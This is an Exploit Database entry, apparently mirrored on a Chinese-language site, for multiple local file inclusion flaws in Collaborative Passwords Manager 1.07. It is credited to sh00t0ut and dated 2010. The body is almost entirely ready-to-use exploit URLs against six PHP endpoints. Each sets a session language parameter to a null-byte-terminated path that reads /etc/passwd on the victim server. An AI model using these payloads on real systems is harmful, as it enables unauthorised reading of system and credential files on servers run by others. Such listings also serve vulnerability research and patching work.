Collaborative Passwords Manager 1.07 – Multiple Local File Inclusions

• Exploit Database
• 45 阅读

• 作者： sh00t0ut
  日期： 2010-09-24
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/15093/

• [~] Collaborative Passwords Manager 1.07 Multiple Local Include Exploit
  [~] Found by sh00t0ut
  [~] Expl: 
  [~] Vendor: http://code.google.com/p/cpassman/downloads/list
  
  http://[victim]/?_SESSION[user_language]=[etc/passwd]%00
  http://[victim]/sources/admin.queries.php?_SESSION[user_language]=[etc/passwd]%00
  http://[victim]/sources/functions.queries.php?_SESSION[user_language]=[etc/passwd]%00
  http://[victim]/sources/views.queries.php?_SESSION[user_language]=[etc/passwd]%00
  http://[victim]/sources/groups.queries.php?_SESSION[user_language]=[etc/passwd]%00
  http://[victim]/sources/items.queries.php?_SESSION[user_language]=[etc/passwd]%00